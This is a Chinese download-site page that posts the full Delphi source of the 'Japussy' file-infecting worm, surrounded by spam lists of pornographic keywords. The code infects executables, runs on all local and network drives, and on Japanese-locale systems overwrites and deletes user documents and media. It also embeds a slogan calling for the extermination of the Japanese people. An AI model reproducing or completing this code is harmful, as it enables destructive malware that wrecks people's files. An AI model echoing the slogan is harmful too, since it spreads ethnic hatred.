亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? pandalhasa.txt

?? 病毒原代碼可能有危險不要隨便測試的.如果有危險本人不符任何責任.
?? TXT
字號:
代碼:--------------------------------------------------------------------------------
program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒體的大小
IconOffset = $12EB8; //PE文件主圖標的偏移量

//在我的Delphi5 SP1上面編譯得到的大小,其它版本的Delphi可能不同
//查找2800000020的十六進制字符串可以找到主圖標的偏移量

{
HeaderSize = 38912; //Upx壓縮過病毒體的大小
IconOffset = $92BC; //Upx壓縮過PE文件主圖標的偏移量

//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = $2E8; //PE文件主圖標的大小--744字節
IconTail = IconOffset + IconSize; //PE文件主圖標的尾部
ID = $44444444; //感染標記

//我非常愛你碼,以備寫入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +
'*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; 
stdcall; external 'Kernel32.dll'; //函數聲明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文操作系統標記
{ 判斷是否為Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;
{ 在流之間復制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 將宿主文件從已感染的PE文件中分離出來,以備使用 }
procedure ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0); //跳過頭部的病毒部分
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;
{ 填充STARTUPINFO結構 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 發帶毒郵件 }
procedure SendMail;
begin
//哪位仁兄愿意完成之?
end;
{ 感染PE文件 }
procedure InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出錯則文件正在被使用,退出
if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己則不感染
Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try
for i := 0 to $108 do //檢查PE文件頭
begin
SrcStream.Seek(i, soFromBeginning);
SrcStream.Read(Buf, 2);
if (Buf[0] = #80) and (Buf[1] = #69) then //PE標記
begin
IsPE := True; //是PE文件
Break;
end;
end;
SrcStream.Seek(-4, soFromEnd); //檢查感染標記
SrcStream.Read(iID, 4);
if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
Infected := True;
finally
SrcStream.Free;
end;
if Infected or (not IsPE) then //如果感染過了或不是PE文件則退出
Exit;
IcoStream := TMemoryStream.Create;
DstStream := TMemoryStream.Create;
try
aIcon := TIcon.Create;
try
//得到被感染文件的主圖標(744字節),存入流
aIcon.ReleaseHandle;
aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
aIcon.SaveToStream(IcoStream);
finally
aIcon.Free;
end;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
//頭文件
HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
//寫入病毒體主圖標之前的數據
CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
//寫入目前程序的主圖標
CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
//寫入病毒體主圖標到病毒體尾部之間的數據
CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
//寫入宿主程序
CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
//寫入已感染的標記
DstStream.Seek(0, 2);
iID := $44444444;
DstStream.Write(iID, 4);
finally
HdrStream.Free;
end;
finally
SrcStream.Free;
IcoStream.Free;
DstStream.SaveToFile(FileName); //替換宿主文件
DstStream.Free;
end;
except;
end;
end;

{ 將目標文件寫入我非常愛你碼后刪除 }
procedure SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
SetFileAttributes(PChar(FileName), 0); //去掉只讀屬性
FileHandle := FileOpen(FileName, fmOpenWrite); //打開文件
try
Size := GetFileSize(FileHandle, nil); //文件大小
i := 0;
Randomize;
Max := Random(15); //寫入我非常愛你碼的隨機次數
if Max < 5 then
Max := 5;
Mass := Size div Max; //每個間隔塊的大小
Len := Length(Catchword);
while i < Max do
begin
FileSeek(FileHandle, i * Mass, 0); //定位
//寫入我非常愛你碼,將文件徹底破壞掉
FileWrite(FileHandle, Catchword, Len);
Inc(i);
end;
finally
FileClose(FileHandle); //關閉文件
end;
DeleteFile(PChar(FileName)); //刪除之
except
end;
end;
{ 獲得可寫的驅動器列表 }
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i := 0 to 25 do //遍歷26個字母
begin
D := Chr(i + 65);
Str := D + ':';
DiskType := GetDriveType(PChar(Str));
//得到本地磁盤和網絡盤
if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
Result := Result + D;
end;
end;
{ 遍歷目錄,感染和摧毀文件 }
procedure LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 0 //不是目錄
else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 1 //不是根目錄
else Result := 2; //是根目錄
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //調整消息隊列,避免引起懷疑
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then
begin
InfectOneFile(Fn); //感染可執行文件 
end
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
begin
//感染HTML和ASP文件,將Base64編碼后的病毒寫入
//感染瀏覽此網頁的所有用戶
//哪位大兄弟愿意完成之?
end
else if Ext = '.WAB' then //Outlook地址簿文件
begin
//獲取Outlook郵件地址
end
else if Ext = '.ADC' then //Foxmail地址自動完成文件
begin
//獲取Foxmail郵件地址
end
else if Ext = 'IND' then //Foxmail地址簿文件
begin
//獲取Foxmail郵件地址
end
else 
begin
if IsJap then //是倭文操作系統
begin
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
SmashFile(Fn); //摧毀文件
end;
end;
end;
//感染或刪除一個文件后睡眠200毫秒,避免CPU占用率過高引起懷疑
Sleep(200);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings + '', Mask);
FreeAndNil(SubDir);
end;
{ 遍歷磁盤上所有的文件 }
procedure InfectFiles;

var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系統
IsJap := True; //去死吧!
DriverList := GetDrives; //得到可寫的磁盤列表
Len := Length(DriverList);
while True do //死循環
begin
for i := Len downto 1 do //遍歷每個磁盤驅動器
LoopFiles(DriverList + ':', '*.*'); //感染之
SendMail; //發帶毒郵件
Sleep(1000 * 60 * 5); //睡眠5分鐘
end;
end;
{ 主程序開始 }
begin
if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注冊為服務進程
else //WinNT
begin
//遠程線程映射到Explorer進程
//哪位兄臺愿意完成之?
end;
//如果是原始病毒體自己
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
InfectFiles //感染和發郵件
else //已寄生于宿主程序上了,開始工作
begin
TmpFile := ParamStr(0); //創建臨時文件
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一個空格
ExtractFile(TmpFile); //分離之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi); //創建新進程運行之
InfectFiles; //感染和發郵件
end;
end.

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
久久成人精品无人区| 色又黄又爽网站www久久| 日韩限制级电影在线观看| 国产资源精品在线观看| 国产区在线观看成人精品| 在线国产电影不卡| 国产一区二区在线影院| 午夜精彩视频在线观看不卡| 久久免费美女视频| 欧美高清你懂得| 色婷婷av一区二区三区软件| 国产在线看一区| 久久国内精品视频| 麻豆精品新av中文字幕| 亚洲成人tv网| 亚洲高清免费一级二级三级| 亚洲人成伊人成综合网小说| 久久久久久久一区| 久久久影院官网| 久久精品人人爽人人爽| 亚洲精品一线二线三线无人区| 欧美一区二区三区电影| 91精品国产综合久久福利| 欧美三级视频在线播放| 欧美色精品在线视频| 欧美三片在线视频观看| 欧美美女视频在线观看| 91麻豆精品国产| 日韩欧美aaaaaa| 亚洲精品一区二区三区蜜桃下载| 26uuu成人网一区二区三区| 国产午夜一区二区三区| 国产精品久久久久久久久晋中 | 成人在线综合网| 色综合天天综合| 中文字幕在线观看一区| 亚洲猫色日本管| 国产精品传媒视频| 亚洲资源中文字幕| 欧美二区三区91| 成人网男人的天堂| 国产不卡视频在线观看| 91视视频在线观看入口直接观看www | 成人国产精品免费| 欧美人xxxx| 国产精品国产三级国产有无不卡 | 欧美一区二区在线免费观看| 精品成人a区在线观看| 一区二区免费在线播放| 亚洲电影一区二区三区| 欧美伊人久久久久久久久影院| 精品国产免费视频| 亚洲一区二区中文在线| 奇米影视一区二区三区| 日本精品一区二区三区四区的功能| 欧美在线免费观看视频| 3d成人h动漫网站入口| 欧美精品日韩精品| 国产精品三级电影| 成人免费的视频| 自拍av一区二区三区| 在线视频你懂得一区| 亚洲一区二区三区美女| 欧美一区二区三区在线| 精品国产免费一区二区三区香蕉| 日韩精品一区二区三区视频播放| 国产精品女主播av| 日韩精品福利网| 午夜电影久久久| 粉嫩aⅴ一区二区三区四区五区 | 欧美亚洲自拍偷拍| 中文字幕国产一区| 国产主播一区二区| 9191成人精品久久| 麻豆国产精品一区二区三区| 99精品欧美一区二区蜜桃免费 | 国产精品欧美一区二区三区| 亚洲图片另类小说| 亚洲欧美激情在线| 亚洲欧美日韩国产中文在线| 91美女福利视频| 欧美男同性恋视频网站| 久久精品欧美日韩| 亚洲一区视频在线| 国产成人av网站| 宅男噜噜噜66一区二区66| 成人毛片视频在线观看| 久久电影国产免费久久电影| 一二三四区精品视频| 国产精品国产三级国产普通话蜜臀| 日韩欧美一级二级三级久久久| 国产欧美日韩精品一区| 日韩电影一区二区三区| 久久久精品国产免大香伊| 91丝袜美女网| 国产乱码精品一区二区三区忘忧草 | 欧美亚洲自拍偷拍| 日韩不卡一区二区| 6080亚洲精品一区二区| 亚洲综合成人在线| 欧美三级日本三级少妇99| 亚洲欧洲在线观看av| 欧美一级日韩不卡播放免费| 亚洲韩国精品一区| 久久综合色综合88| 久久综合中文字幕| 精品国产免费视频| 欧美日韩免费观看一区二区三区| 丁香亚洲综合激情啪啪综合| 久久精品72免费观看| 久久精品国产久精国产爱| 亚洲成人av在线电影| 亚洲成人自拍一区| 丝袜美腿高跟呻吟高潮一区| 国产一区二区三区综合| 精品亚洲国产成人av制服丝袜| 久久国产精品免费| 国产一区激情在线| 成人av影视在线观看| 色屁屁一区二区| 欧美日韩五月天| 中文字幕巨乱亚洲| 欧美一级高清片| 国产麻豆9l精品三级站| 免费看欧美美女黄的网站| 久久久久久久久岛国免费| 国产成人午夜精品5599| 日韩国产一二三区| 五月激情丁香一区二区三区| 亚洲高清视频的网址| 精品一区二区免费在线观看| 国产福利一区二区三区视频在线 | 成人99免费视频| 免费看日韩精品| 国产精品色一区二区三区| 欧美日韩情趣电影| 久久午夜老司机| 久久久久久99久久久精品网站| 91精品国产欧美日韩| 精品乱码亚洲一区二区不卡| 久久久.com| 亚洲一区二区三区自拍| 国产成人h网站| 日韩午夜av电影| 亚洲综合在线视频| 国产成人综合精品三级| 欧美一区二区日韩| 亚洲午夜精品网| av网站一区二区三区| 亚洲精品一区二区三区影院| 亚洲国产欧美日韩另类综合| 成人中文字幕在线| 久久久午夜电影| 国产一区日韩二区欧美三区| 777午夜精品视频在线播放| 综合欧美亚洲日本| 99久久夜色精品国产网站| 久久综合狠狠综合久久激情| 久久精品二区亚洲w码| 欧美一区二区三区白人| 久久不见久久见中文字幕免费| 91麻豆精品国产91久久久使用方法 | 激情文学综合网| 国产欧美日韩不卡免费| 99久久国产免费看| 亚洲午夜一区二区三区| 欧美日本一区二区三区| 久久精品久久精品| 久久久久97国产精华液好用吗| 懂色av中文一区二区三区| 亚洲蜜臀av乱码久久精品| 亚洲美女一区二区三区| 韩国午夜理伦三级不卡影院| 精品国产百合女同互慰| 成人午夜激情影院| 视频一区在线视频| 国产欧美日韩视频在线观看| 欧美日韩一区国产| 国产一区二区三区久久久| 亚洲影视在线观看| 久久免费美女视频| 欧美日韩精品欧美日韩精品| 国产成人三级在线观看| 亚洲免费在线视频| 久久品道一品道久久精品| 在线成人小视频| 日本韩国一区二区三区视频| 国产一区视频在线看| 日本不卡的三区四区五区| 亚洲一二三四久久| 欧美国产精品久久| 国产欧美精品一区aⅴ影院| 精品国产91亚洲一区二区三区婷婷| 91免费观看在线| 久久草av在线| 国产三级精品三级在线专区| 欧洲一区二区三区在线| 色播五月激情综合网| 欧美最新大片在线看| 色偷偷久久人人79超碰人人澡|